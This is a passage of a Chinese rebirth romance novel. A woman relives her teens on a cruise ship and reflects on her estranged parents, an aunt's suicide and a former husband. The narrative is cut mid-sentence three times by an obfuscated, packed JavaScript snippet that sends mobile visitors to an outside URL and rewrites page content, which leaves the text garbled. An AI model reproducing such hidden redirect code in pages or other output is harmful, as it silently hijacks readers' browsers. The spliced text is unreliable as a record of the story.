——金枝公主,我希望你幸福,我希望你开心,你做什么我都支持你,我会永远站在你这一边。 是以,当章矜之再度听到韩复宇用调侃的语气叫出这声“金枝公主”时,她竟忽然有了种想哭的酸楚感。墨镜之下,她眼神微动,泛起一层雾气。 于是韩复宇就看到了章矜之忽然态度转变,起身举起了那只酒杯,迎着微微的海风和他碰了个杯,露出一个动人的青春璀璨的微笑: “好啊,及时行乐就及时行乐,今晚我们去吃特色餐厅里的川菜?” 韩复宇看着她的笑颜,默默出神了片刻。 她今天穿了一身简单的修身白色T恤,及膝的牛仔短裙,扎着利落的长马尾,素面朝天,不加半点妆饰,却格外有一种清透晶莹的璀璨之美。 盛夏日光照耀之下,她白皙如牛乳般的肌肤几乎也蒙着一层分外朦胧柔和的光。 举手投足间真活脱脱是个千金大小姐,不怪他舅舅舅妈给她取名叫金枝。 现在正是他们高一结束后的暑假,因为想要给他们两个孩子好好放松一下,章矜之的父母和他的父母两家六口人便相伴一起游轮旅行,选择了这艘“翡翠公主号”的游轮,计划在在太平洋上游玩十天九夜。 今天恰是他们游轮之行的第二天。 从还没登上游轮之前,他便察觉到章矜之的情绪突然变得不大对劲,整个人也时常有些恍惚迷离的样子。 他不明白章矜之到底遇到了什么事,所以一连好多天才隐隐不安。 还好,到了今天,章矜之才似乎有些缓过神来了。 两家大人自有他们聚餐的地方,韩复宇和章矜之晚餐去了游轮特色餐厅里的川菜馆,两人点了一桌子红红艳艳的辣菜,章矜之虽然并不饿,只是来作陪的,但韩复宇半大小子能吃穷老子的年纪,这一桌菜对他来说更不嫌多。 ——他是从一个爱吃辣的省份被领养过来的,章矜之家这边的长辈大人们普遍口味清淡,鲜少吃辣,后来也是为了迁就韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055009|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复宇的口味,家中饭桌上常年才多了几道辣菜。 章矜之对川菜能吃上几口,但仍然免不了一边吃一边要往嘴里灌水。 韩复宇给她开了罐冰镇过的啤酒:“来吧公主,欢迎来到我们成年人的世界!” 他这话里颇有点拐带未成年干坏事的意思,加之他长得人高马大的壮硕,身形看着已和一个成年男人差不多,周边两桌不免有人对他投来微妙的目光。 章矜之陡然就被他逗乐了,一手拿着啤酒罐,一手撑在桌上,抚额低头笑了几声。 隔着饭菜冒出的朦胧的袅袅热气,他仿佛在雾气的对岸看着她。就是从这几天开始,他觉得他越来越看不透她了。 直到看见章矜之露出笑颜,他才终于用半真半假的语气开口试探她: “公主,说实话,我感觉你最近情绪不大对劲,你是为情所困了还是思念故友了?” 章矜之止住笑声,放下了手中的啤酒罐,她双臂交叠放在桌上,微微探过头去看着他,神情似乎十分认真: “很明显吗?可是我爸妈都没看出来,你是怎么发现的?” 韩复宇的神色也严肃了几分:“因为我是你哥哥,咱俩从小一起长大的,你跟我在一起的时间比跟你爸妈在一起还长呢。” 章矜之噗嗤一下又笑了出来,整个人放松下来,她这具身体的芯子里装着一个三十八岁女人的灵魂,现在看着十五六岁的韩复宇,就像是在逗一个小孩子一样好玩, “好吧,那我告诉你,你不要告诉别人哦。” “我做了一个长长的梦,一觉睡醒之后,我发现我把高一一年学的所有东西都给忘光了。” “我现在变成了一个蠢蛋,下学期可能要考零蛋,高二成绩要彻底完蛋,考不上大学以后流落社会就是个穷光蛋。” 韩复宇先是煞有其事地愣了三秒,而后回过了神来,也放声哈哈大笑起来,他笑了许久才渐渐止住声音,而后随意安慰了章矜之几句: “真的假的?你不会是在骗我吧?诶,我听说这种症状好像是学习压力过大的应激症?没事没事,过几天缓下来就好了。再说,我们金枝公主这样的家世也不靠学历吃饭的,大不了以后让舅舅舅妈送你去国外留学就好了呗,有什么好焦虑的,你看你这几天都不高兴的样子。” 章矜之轻哼了一声,低声道:“我才不要去国外。” 这个话题于是到此为止。 晚餐后,两人在川菜馆里捡了本游轮的观光宣传手册翻了翻,想起来今晚还有许多表演,于是韩复宇又兴冲冲地拉着章矜之跑去四层的皇家剧院里看了一场音乐剧表演,这一天过得还当真是有滋有味。 等两人从剧院出来后,他似乎还在对那场表演念念不忘,也不知道他是不是小小年纪劣质啤酒喝多了在抽风,甩着手里的一张表演宣传手册的纸,模仿男演员那低沉深情的演员念着音乐剧里的台词嚷嚷道: “我的公主,我的美人,我的伊万诺维奇,你为何郁郁寡欢,你为何闷闷不乐,你值得世间一切珍宝,你风华正茂!” 章矜之推了把这个半吊子伪酒鬼,忍不住莞尔: “哥哥,你那风华正茂的伊万诺维奇是个俄罗斯壮汉名,人家台词里说的是伊丽莎白。” 转过身来,她也不禁低语, “是啊,你为何郁郁寡欢,你为何闷闷不乐,明天又是新的一天……” 回到自己的房间后,章矜之把这句话记在了自己的日记本上。 5. 真命天子 她从“翡翠皇后号”来到了“翡翠公主号”上。 事实上,虽然名字相像,但这当然是两艘不同的游轮。 前世的这一年,她也曾跟随父母和姑姑一家来到“翡翠公主号”游轮上游玩。 那时的她还不是一个三十八岁婚姻不幸的怨妇,她正无忧无虑满满少女心性,也兴高采烈地在游轮上拍了许多照片。 后来她在游轮商店上购买了一本“翡翠公主号”纪念周边的笔记本,又在观看音乐剧时随父母偶遇了一位美国传奇金融大亨一家出游。 她鼓足勇气要来了那位大亨的签名,并希望他能在这本笔记本上留下一句留言,她说她想把这个本子当做礼物送给自己的boyfriend。 虽然私人度假时间被她打扰了,但那位大亨听了这个故事后好脾气地大笑,饶有趣味地说了一句“真是个动人的故事”,然后在笔记本扉页写下了一句“小伙子,祝你能来纽约见我”。 之后,章矜之很是少女怀春地把自己在游轮上拍下的一张照片也悄悄夹在了这本笔记本里,在高二开学后把它当做礼物送给了程愈川。 这本印着“翡翠公主号”印章的笔记本也堪称是他们的定情信物,二十多年来程愈川一直珍爱非常。 很多年后,他也给她买了一艘游轮,之所以为那艘游轮命名为“翡翠皇后号”,恐怕也和二十多年前的这个故事分不开关系吧? 从公主号到皇后号,她用了二十来年的时间,从皇后号又回溯时光再度重返公主号,她只用了近乎噩梦般的一个夜晚。 她也仿佛从一个被男人幽居豪宅别苑里的怨妇般的所谓“皇后”,重新回到了她记忆中魂牵梦绕的少女时代。 彼时的她还是被父母家人捧在手心里的“公主”,翡翠一般的年华。 海面上寂静的深夜里,章矜之一遍遍地梳理中自己那梦魇中“前世”里的许多事情,一一提笔将它们记录在本子上。 这是她“新生”的第五天。 只是还不到一周的时间,有时连她自己的神智都会产生幻梦似的犹豫与迷离徜恍,让她时常开始怀疑自己所遭遇的一切是不是真的。 大多数人从梦中惊醒时,都会在很短的时间内迅速消散有关那场梦的记忆,甚至再也想不起来自己在梦里究竟经历了些什么。 章矜之亦在此列。 由于她所经历的那场梦实在太过真实,真实到她愿意将之称为自己的“前世”,所以她急切地想要记下那梦里二十多年来的所有细节。 每天晚上,她都在忙着这件事。 之所以这么急着做这件事,是因为她感觉她迟早有一天会一点点地忘记那些琐事的回忆。 比如说,重生回来的第一天她还觉得自己能有三十八岁,可是实际上现在她严重怀疑自己只剩下三十岁了。 今天被韩复宇插科打诨一番,她又觉得她大概回到了二十八。 明天的她则大约会是二十五岁吧。 今夜她洋洋洒洒又写了三个多小时,写完后,她合上笔帽,将日记本塞回包里,疲倦地回到床上躺下,伴随着海浪摇晃的波涛,她慢慢地进入了好眠。 第二天上午是他们一家的亲子时间。 昨晚和韩复宇看完音乐剧后,章矜之回到房间和父母发消息报平安时顺带提了一嘴,她母亲纪凝和父亲章起卫随即表示也很感兴趣,要和她一起再去看明天上午的另一场表演。 早上十点钟,一家三口在章矜之的房间里汇合。 她父母对这些公共场合的礼仪十分在意,特意换上了西装和礼服,纪凝还埋怨了一句,说章矜之昨天穿着T恤和短裙就去剧院对演员不太尊重,她就应该穿她带来的这条Selkie的湖水蓝雪纺荷叶边泡泡袖公主裙。 章矜之嘟囔:“都游轮上了,我穿比基尼也一样能去看。” 纪凝把她摁在桌上给她打理头发,一边轻笑着打趣她:“那你不如叫韩复宇穿比基尼去,我看更万众睹目些!” 母女俩给彼此梳理发丝,章矜之刚才帮妈妈盘好了头发,纪凝现在也把章矜之按住,给女儿梳了个端庄的公主发型,满眼爱意又温柔地给女儿头上戴好闪闪发光的发饰。 章起卫就坐在一旁的沙发上静静地看着这对母女的温情时光。 她们像住在一个巢穴里相互依偎的母鸟与幼鸟,精心打理着对方的羽毛,而他则是保卫这对母女、在外给她们觅食投喂的雄鸟。 优雅动人、高贵温柔的妻子,袅袅娉婷,锦瑟年华的女儿。 他忍不住从怀中掏出手机拍下了一张照片,留住这样美好的一刻。 他们是何等幸福美满的一家三口。 章矜之的余光注意到了她爸爸的动作。 她唇边的微笑有一瞬间的凝滞。 他们一家幸福吗? 外人看来,这的确是再幸福不过的一个家庭了。 她父母今年都四十岁了,人至中年的原配夫妻,在外双双事业有为,在内夫妻恩爱不移,女儿美丽乖巧,亦有千万家资,人生还能如何遗憾? 可现实往往真的是家家有本难念的经。 章矜之的父母是某世界五百强外企的高管,两人年轻时候都是拼事业的强人,生下章矜之这个独女后还不到孩子满百日,两人就把孩子托付给她爷爷奶奶、外公外婆看管。 他们只管给家里给足了钱,而后双双在国外忙工作,最疯狂的时候甚至一整年都不会回国一趟。 爷爷奶奶、外公外婆对章矜之的确极尽疼爱,家里姑姑舅舅们也并无半点不好,堂表兄弟姐妹们更没有排挤过她。 父母虽然常年在外,但钱、衣服玩具和各种礼物亦常常寄回家中,电话更没有少打过,似乎并没有不在乎这个女儿的意思。 甚至他们还保证过,这一生只会有章矜之这一个孩子,绝不会再给她生个弟弟妹妹分走对她的宠爱,父母在外打拼赚的钱以后也都给她一人继承。 他们做的一切都是为了她好啊! 可从小没在父母身边长大的女孩儿,和父母之间的亲缘却总比不过别人家的强。 她知道她父母很爱她,她真的都明白父母的苦心,但他们相处的时间实在太少太少,她该如何和他们亲近? 坦白讲,那时的她连该用怎样的语气和父母撒娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055010|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都拿捏不准,她对他们几乎是全然陌生的。 章矜之在老人身边长到了初三,直到她初三中考前几个月,她父母才终于结束了漫长的国外工作阶段,终于调回到了国内,从此他们一家三口才算是团圆了。 然而父母回国后不久,为了修补和章矜之之间的感情,为了彰显他们对她这个女儿的疼爱,章起卫和纪凝便提出想要送她去国外读高中,理由则自然是“国内的高考太累了,爸爸妈妈舍不得你吃苦”。 章矜之当时一瞬间崩溃大哭,哭到整个人都快背过气,章起卫和纪凝被吓得不轻,好不容易才稳住她的情绪,章矜之这才哽咽开口道: “你们为什么要这样折磨我?那么多年你们都在国外,把我一个人丢在国内,现在你们好不容易回来了,你们又要把我送出国,我们一家人算什么一家人,一辈子在一起团团圆圆过个年都没有过!……我只是不想离开你们!” 章起卫和纪凝就再没敢提过这话了。 之后章矜之就在全市最好的公立中学里读高一,她像所有普通的高中生一样,早晚自习,五三金卷,周测月考,嘴里背着海客谈瀛洲,笔下算着三角函数式。 哪怕家里有司机和保姆,爸爸也坚持早六晚九地接送女儿,风雨无阻;纪凝更主动日日早起晚睡,亲手给女儿做爱心早餐和养胃夜宵,虽然爹妈女儿三个人都辛苦些,不过倒真还有了点一家人的味道了。 这是章矜之渴望的家的感觉。 但这样的日子到现在为止不过才刚过了一年。 然此刻再想想,她和她父母在一起的时间,真的实在太少,哪怕是前世里,最长也不过就这短短三年而已。 因为她后来遇到了程愈川,她一心扑在了程愈川的身上。 高中毕业后的大学四年乃至后来,她都和程愈川厮混在一处,两人大学寒暑假都腻歪在一起,程愈川赚了一笔又一笔的钱,一笔又一笔花在她身上。 两个人是到处游山玩水,花前月下,抵死缠绵,醉生梦去,从非洲的草原到欧洲的庄园,从柬埔寨的吴哥窟到意大利的威尼斯,……反正她陷入极致的热恋中时,也早荒唐地把家里的爹妈抛之脑后了。 她更想不到,她为自己找到的这真命天子,后来竟会用当初她父母的那一套来伤她的心。 ——都是工作忙,都是在国外,常年不回家,不许你抱怨,反正给了你钱了。 她无法选择和埋怨自己的父母为她提供的家庭生活状态,但她以为她可以选择自己的丈夫。 如果这个丈夫令她不幸福、不满意,她觉得她可以离婚。 然而,最绝望的就是,这个婚她居然离不了。 到死她都没能和程愈川断个干净。 并且,因为那时父母都坚决反对她和程愈川离婚,甚至还一再催促她赶紧跟程愈川要个孩子,她和父母大吵过几架,冲动恼怒之下不免也说了不少伤人心的话,于是和父母之间的关系就更加淡漠,平日的联系也更少了。 一切的一切,局外人看到后是会怪她不知好歹,不懂经营;还是叹她生来亲缘浅薄,盈则必亏? 大约还是前者居多。 6. 前夫姓名 这场音乐剧结束后,一家三口从剧院里出来,章矜之站在父母中间,一边和妈妈纪凝拉着手,另一边,章起卫轻轻地揽着她的肩膀,父母神情温和地点评着这场剧目,而她也有一搭没一搭地回应着他们。 明明前世里已多年不曾和他们好好交流过的,明明三十八岁时她几乎已不再和父母产生什么日常琐碎的温情往来了,然而当光阴真的回溯至她和父母感情最好的这段岁月里时,血脉亲缘的力量当真如此强大,可以修补所有的裂痕,让她又可以毫无隔阂地继续做他们最乖巧懂事的女儿。 他们也如前世一般在这里遇到了那位美国的金融大亨一家。 因为之前和他们有过公司商业上的往来,章起卫与纪凝上前和贝特一家简单打了个招呼,贝特夫人是华裔混血,中文说得十分流畅。见到章矜之,贝特夫人笑着夸赞了她几句,又说: “Tiffany,你知道吗,你爸爸妈妈在美国的时候经常和我们提起你,他们身边的所有人都知道他们有个富有艺术细胞的女儿!听说你还会跳中国的古典舞蹈!” Tiffany是父母给章矜之取的英文名,因为那是她妈妈纪凝最喜欢的品牌之一。 简单寒暄一番,与贝特一家分别后,章矜之父母的话题又回到了刚刚的那场音乐剧上。 纪凝忽地想起了什么,叹息了一声:“要是湉湉也在就好了,她那么喜欢音乐,应该多到剧院里看一些音乐剧,总比闷在家里放碟片的效果要好得多。” 提起这位妻妹,章起卫不好多议论她,只跟着妻子的意思简单附和了一下:“是啊,偶尔出来透透气,总归对心情也好。” 而章矜之则在此时心中蓦然惊愕住,一动不动地沉默了片刻。 纪凝嘴里的“湉湉”是她的妹妹纪湉,是章矜之的小姨。 章矜之外公外婆育有一子两女共三个孩子,取名也很有意思,头胎大儿子叫纪文,二胎女儿叫纪凝,三胎最小的女儿就叫纪湉。 从部首偏旁的一个点“文”、两个点“凝”到三个点“湉”,非常好记。 妈妈口中陡然提起这个已在章矜之记忆中故去了数年的小姨,令她也在霎那间意识到,如果小姨那时候还活着的话,她应该会是全家人里除了韩复宇之外唯一一个还会支持她离婚的人了。 舅舅纪文家里只有两个儿子,章矜之便是纪家唯一的外孙女,是孙辈里唯一的女孩,和小姨天生就走得更近些。 小姨很疼爱她,小姨精通舞蹈和音乐,她从小和小姨学过古典舞。 小姨还说,她是她最得意的“学生”。 可惜,从小时候起,小姨纪湉在章矜之的记忆里就是一个郁郁寡欢、憔悴沉静的纤弱女人。 章矜之的外婆生了一双美若沉鱼的瑰丽女儿,单看五官,纪凝和纪湉几乎共用了同一张脸,生得就有八九分相像。 而章矜之则完美继承了纪凝的美丽,活脱脱也像是纪湉的女儿一般。 纪湉便常常会用一种看女儿一样的目光静静地看着章矜之。 可纵使纪湉有那样姣美的一张脸,在这张脸上,却少见什么笑容。 连章矜之都很少见到小姨笑过,小姨和外界也甚少往来,只一个人闭门独处,深居简出。 长大后她才隐隐约约从家中长辈嘴里听说过原委,原来小姨年轻时经历过一场失败的婚姻,那场婚姻的初始亦十分美好,是小姨自由恋爱后自己选择的丈夫,可是后来呢,那个恐怖的前夫曾一度用最恶毒的暴力毁去她的所有尊严,给她造成了极其可怕的心理阴影。 外公外婆一家也是使出了浑身解数、好不容易帮小姨离了婚、把她从她前婆家那边救出来后,小姨就常年陷入了这种淡漠的抑郁中,几乎丧失了和所有外界往来的欲望。 后来她在经年累月的抑郁里,于家中自杀身亡,她甚至都没活到章矜之和程愈川闹离婚的那几年。 如果她那时还活着,她一定会心疼自己的外甥女的,是吧? 之后章矜之和程愈川闹离婚被父母家人反对最激烈时,她曾经口不择言地对外公外婆、舅舅和妈妈他们哭喊道: “失败的婚姻逼死了我小姨,你们现在还看着我同样饱受折磨,你们是想看着我也这样死掉,对不对?” 妈妈气得浑身发抖地和她吵道:“程愈川不是你小姨前夫那种男人,你们结婚这么多年,他哪里对你不好?是家暴、出轨还是和别人不清不楚?还是他有什么吃喝嫖赌的恶习?你自己都说不出半点来!矜矜,妈妈只是希望你慎重考虑,你不要放弃你的大好人生,这段婚姻给你带来的好处绝对——” “绝对会让我跟我小姨一样,绝望抑郁自杀而死!你妹妹都这么死了,你还想你女儿也一样死掉!” 这么吵过一架后,她和纪凝的关系就冷淡了许多,母女两人便鲜少联系了。 章起卫后来从中调和,调着调着他们父女俩也吵起来了,然后他们俩也闹得不欢而散。 想到小姨的死,章矜之的心脏猛地一颤。 · 看完音乐剧后,这天中午,章矜之和父母还有姑姑姑父与韩复宇他们六个人一起聚餐,席间气氛热闹和谐如常,纪凝还和章矜之的姑姑章琦约好了下午去游轮上的水疗中心做个美容。 午餐后,章矜之回到自己一个人的房间里,闲来无事中她又翻起了包里带来的几卷习题册,全当用复习这些课业来当做打发时间的消遣了。 前世的她高中时都不曾这样发愤图强过,现在出来旅游还不远千里万里把作业带到太平洋上,倒真不是章矜之想要头悬梁锥刺股地搞假期弯道超车那一套。 ——她现在不当班级里的吊车尾都算是福大命大了。 这大约是每一个成年后做梦重生回学生时代的人都必须面对的一个严峻问题:当你已经忘掉了高中的知识该怎么办? 怎么办,为了不让别人发现她的异常,她只能硬着头皮赶紧补呗。 章矜之倒是算过了,语文是母语不用多看,多背两篇沁园春念奴娇和作文素材就好了;英语她一直说得很好,不用复习;思政呢没什么难度,只要背一背就行;历史嘛,她自己后来本硕博都读的历史系,之后还是大学历史专业老师,更不用多看。 这些去掉去掉通通去掉。 她现在最要紧的就是数理化生地,这才是最要她命门的。 她懒懒散散地做了两三面的卷子,拿着红笔不停地叉叉叉然后不停地订正,不免在这夏日午后里垂头丧气心有不甘又昏昏欲睡。 也正是在她差点睡过去的时候,她房间的门被韩复宇敲响。 这厮回去换了身清爽干练的休闲运动装,阿迪达斯的灰蓝色T恤上衣,黑色的运动短裤,Wilson的白色球鞋,拉着她说要和她去打迷你高尔夫、乒乓球或者玩攀岩墙。 章矜之没精打采地甩开他的手:“我最讨厌运动了,不就是猴子一样上蹿下跳、扭扭蹦蹦的,有什么好玩的,想想就累死了。我不去。” 韩复宇一副见了鬼的表情看着她:“妹妹,你是被谁夺舍了吗?你还不到十八,怎么老气横秋地跟三十八似的?不对,三十八的人也不能这么丧气吧?” 这话猛地戳到章矜之痛处,她一下睁大了眼睛,心跳都慢了半拍。 不,她才不要活成这样,她才不要老气横秋! 韩复宇趁机抽走了她桌子上的习题卷,把那几张纸拎在手中抖了抖,眯着眼看了看,一脸玩世不恭的态度: “我看看我妹妹最近在愁什么呢,嗯哼,还真是愁学习?你真要考状元啊?” “这题目我看看,当西经165度的夏威夷群岛处于7月1日下午2时时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055011|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,处于东经90度的荒漠无人区是几月几日几点?” 章矜之就是在这题上卡住的。 这个地理的区时地方时、日期变更线等相关时差计算的内容,这么多年章矜之一直晕头转向,想起来就头大异常。 “哟,这题目出的还真不错,咱们现在就在这西经165呢,咱这里也是下午两点。” 韩复宇嘴里哼了声,心算了两三秒,“那无人区里肯定是7月2号上午7点啊,这题目有什么难的?妹妹,你真不会做了?陪哥哥出去玩一玩,哥哥回来教你好不好啊?” 章矜之不理他,韩复宇拉来一把椅子在她边上坐下,满嘴尽是不着调, “东经90度的无人区,哎呦,这说的就是罗布泊吧?诶,我还想等我高考过后的暑假就找几个哥们儿一块去罗布泊玩穿越无人区呢,多轰轰烈烈的青春!见证一个男孩在十八岁那年成长为一个男人的历史性时刻!到时候我再请两三个向导,带上厨子和后勤,我自己开个牧马人或者奔驰大G,在无人区里点着篝火吃着烧烤唱歌跳舞,多刺激!可惜我爸妈就是不让,我一提他们就骂我!” 章矜之被他气笑,伸手在他手臂上狠狠拍了一下: “他们骂你?就光骂你?我看还要顺手再抽你一顿才好呢,男女混合双打都不够!你要是一不留神死在里面了,等再抬出来就是刚出土的楼兰男干尸编号250!你哪个哥们敢跟你一块去那就是干尸251,都是没脑子的蠢货。” 韩复宇哼了哼,“你就这么瞧不起你哥?诶,说起来,我那哥们儿程愈川就是个狠人,他在那就混得风生水起的!这小子咋这么敢呢,你知道他这个暑假在哪吗?他就在罗布泊,他不仅敢去,他还一边赚了不少钱呢!人家都能,我为什么不能?等高考过后我就跟他再找几个人一起去无人区玩玩。” “他在那无人区边上跟几个向导团队混的很熟,就跟着他们一起给那些寻刺激穿越罗布泊的有钱闲哥们打杂赚点辛苦钱,那赚的可真是不要命的血汗钱。” 说到这茬上,韩复宇彻底来了精神,也不管章矜之是什么表情、有没有在听,反正他是喋喋不休地讲下去了。 “妹妹,你知道吗,上游轮前两天我还去找他聊过一阵子无人区的事情呢,程愈川跟我说,其实现在这夏天是穿越罗布泊最恶劣最艰险最有挑战性的季节,那大荒漠里热得跟火炉子似的,白天最低都是四五十度,还有各种沙尘暴,车子动不动会爆胎,人呢,一个不小心就是脱水和中暑,真遇到事儿了,找人救都难。” “这时候啊,那无人区边上做补给救援的私人团队,他们都赚翻了,就是因为万一你搁这无人区里遇到事儿了,只能拿卫星电话打电话给向导在外面的团队,砸钱请人家送油送水送物资进来,请人一趟少说就是大几千,不出点血,那些奸商也不可能轻易冒险过来救你啊。” 加之这个年代,在无人区周边为那些穿越探险游客们做向导、后勤和配套救援的一系列产业都还没有规范发展起来,规矩少,同行少,人傻钱多好奇心重的大肥羊一只接着一只蹦过来等着被人宰。 完全是谁先下手谁赚钱,谁更黑谁更赚,捞到一笔是一笔。 “程愈川在那干得就是这个活,隔三差五跟人开车进大荒漠里,给人送汽油送物资,这小子还学会修车了,好些修理工都热得半死不肯进荒漠里接的活,他敢去!那些黑心奸商真敢带他去干这活,他自己也不怕累死在里面!我是佩服!” “你说这小子怎么缺钱缺成这样,要钱不要命啊?” 这是章矜之自重生以来第一次不得不直面这个人的名字。 那个在她日记里都被她厌恶到用简短的字母C来代替姓名的男人,那个她连提都不愿提及的人,就这样在她猝不及防的时候被表哥说了出来。 她的前夫,程愈川。 7. 情也恨也 韩复宇一拍大腿,从兜里掏出他的手机来, “你看看,我这还有张照片呢,我让他拍给我看看的。” 他划开手机锁屏,点进相册,章矜之还未回过神来,那张照片便打了她一个措手不及,已经被递到了她的眼前。 “你看,罗布泊,风景是不是特别震撼壮丽?” 她于是便下意识地抬眸扫了一眼。 这个时代的手机拍照像素还远没有达到十几年后那种超清的水准,就连图片的比例都不是很大。 照片拍摄地点唯一荒漠无人区中的某一处。 那张在手机屏幕上还不足半个巴掌大的照片里,首先倒映在章矜之瞳孔中的,是最远处一片炽热如金的天际霞光,画面往下则随着天色的昏黑愈发暗沉,出现了大片大片被无尽岁月风化磨砺过的黄褐色土地、裸露的岩石,四周看不见半点植物的踪影,唯有飞扬弥漫的尘沙黄土给一切景象都蒙上了微茫的褐色雾气。 这是一片雄壮到几近苍凉的天地,站在这里的土地上,铺天盖地而来的是绝对的沉寂与最原始的野蛮。 照片里三三两两可见几个模糊的人影,这大约是一只私人结伴穿越无人区探险的队伍,边上还一溜停着好几辆装备精良的越野车,此刻这支队伍应当是在休整,地上摆着各种工具和食物,有人点起了篝火,有队伍里专门的厨师正在制作晚餐。 照片里的程愈川还是十六七岁的少年时模样,清俊挺拔,脊背/坚/挺。 他穿着条宽松的利落笔直的黑色工装长裤,上身是深灰色的纯色T恤,外面还套着一件藏蓝色的单薄外套,这外套大约是用来遮蔽荒漠白日里的酷暑烈日。 他立在远处停放着的两台越野车前,迎风轻笑,随手卷起了两臂的一节袖口,他刚刚给这两台车加过95的汽油,又给那几个穿越冒险的游客搬运过物资,恐怕还给修理工修车的时候打过下手,总之身上并不体面,沾了各种乌黑的油渍污痕。 明明看上去十分狼狈,可即便如此,他依然不显丝毫落魄卑微,也没有任何处于低位的难堪和不自在,反倒正是少年意气,锋芒锐利,自有他的从容。 他有一双锐利如鹰隼的眼睛。 仔细想想,其实她都已经很多年很多年不曾见过他如此年轻时的样子了。 连她都不由得心间猛得一震。 她依稀还记得,他就是用这个暑假在罗布泊赚来的钱,给她买了他送她的第一件奢侈品礼物,一条Tiffany的项链。 而她则是在结婚多年后才无意间得知,为了送她这条项链,他人都差点死在罗布泊了。 ——据说是有一回,他们和一个有钱老板为了一点修车的服务费争执不下,那老板吵到急眼,怒气上头,也不管不顾了,竟然抄起自己车后备箱的一只猎/枪/便在程愈川肩上开了一枪。 还好是自制私藏的土猎/枪/威力并不是很大,虽然在他肩上打了个血窟窿,但尚不至于死人。 之后程愈川和他几个老油条的师傅们便和那土老板敲诈勒索起来,梗着脖子说要报警去,要告他私藏/枪/械还开枪杀人未遂。 土豪老板开完/枪/后也是心下颤颤,后悔不已,被吓得半死,最后一番讨价还价,决定私了,赔了足足十万,破财消灾,息事宁人。 这十万块,程愈川分了一半给那几个带管他的老师傅,他自己还剩下五万呢。 然后他就给她买了条四万七千块的项链。 他还觉得是他赚了。 后来欢爱时,彼此赤诚相见,肌肤相亲,她看到他肩上的旧疤,出声询问,他就说是不小心被修车的工具砸到的,把她糊弄了过去。 直至多年后,她有一次翻到他私人医生给他出具的体检报告,看到那一处被标记为“/枪/伤”,她才后知后觉地反应过来。 ……他不如当年就死在罗布泊好了。 · 韩复宇不知章矜之心事,还在这边跟着叹息了一声: “真大丈夫当如是也!他家里那样的情况……都靠他自己撑着养活自己。我就佩服我这种哥们,就乐意和这种狠人交朋友。” 章矜之心里还抽空冷笑了一下,心想这也不耽误前世你后来跟他不仅闹掰了,还私下一碰面就大打出手,死去活来地打了好几仗,最激烈的一次,还是一把年纪的爷爷拄着拐杖来拉架才好不容易把你们两人分开的。 她慌忙别过了头去,嘴里胡乱应付了韩复宇一声:“这种不毛之地有什么好玩的。就你这样的,死在里面了给楼兰的小河公主陪葬,人家公主都不稀罕。” 韩复宇收起手机,也随意结束了刚刚围绕着程愈川展开的那个话题。 “小河公主那都是代号别称,哪个专家说她是真公主了?我们金枝公主才是真公主对不对?那我可不能去给小河公主陪葬,我得陪着我们金枝公主。——走吧公主,高尔夫还是攀岩墙?” 韩复宇的兴致就是这样,来得也快去得也快,刚刚还在议论着要去穿越罗布泊,现在又惦记着要带她出去运动的事。 章矜之本是懒怠的不想动弹的,但因韩复宇刚才说她“老气横秋”,她被戳中了痛处,难免有些害怕,怕自己当真变得死气沉沉的模样,于是最终还是换了身衣服随他一起出了门。 她决定和韩复宇去玩攀岩墙,这东西她两辈子都没碰过,今天也就是去图玩个新鲜。 她本来以为这种攀岩墙就是在墙壁上打几排板子意思意思供人休闲时往上爬罢了,然而到了地方才发现这攀岩墙馆大的吓人,大到让她仿佛置身于岩壁丛林之间。 所以,等到绑上了安全绳开始被工作人员指引着一级一级往上爬的时候,章矜之是越爬越觉得腿软。 韩复宇在边上扭过头来问她:“妹妹,你没事吧?要是害怕也别太硬撑着,咱们下来再去玩别的?” 章矜之咬着牙关回绝了他:“你要是爬不动了可以喊我,我拉你一把也行。” 韩复宇哼了一声,扭过头去。 她终于愿意在心底承认自己不是适合玩这种东西的人,一边又暗暗发誓,她绝对只玩这一回,再没有下次了! 也正是在她往上爬的时候,她一时失意分神,眼前不知怎的又想起了刚才韩复宇给她看的那张照片,结果下一瞬脚下就踩了个半空,身体在空中狠狠晃了一下,吓得章矜之惊出一身冷汗,头脑瞬间清醒过来。 她还是没有掉下去的。 不是因为她反应得快,也不是因为这堵攀岩墙的难度不高,而是因为有一只温热的、结识的男性手臂揽在了她的腰间,那人狠狠带了她一把,把她拉了回来。 章矜之双手紧紧攀附在攀岩墙延伸出来的凸起处,心有余悸地重重喘了两口气,蓦然回过头去,才发现自己身边不知何时出现了一个十七八岁模样的白人混血少年。 他有一双琥珀色的眼睛,离她不过半臂的距离,正直勾勾盯着她的侧脸。 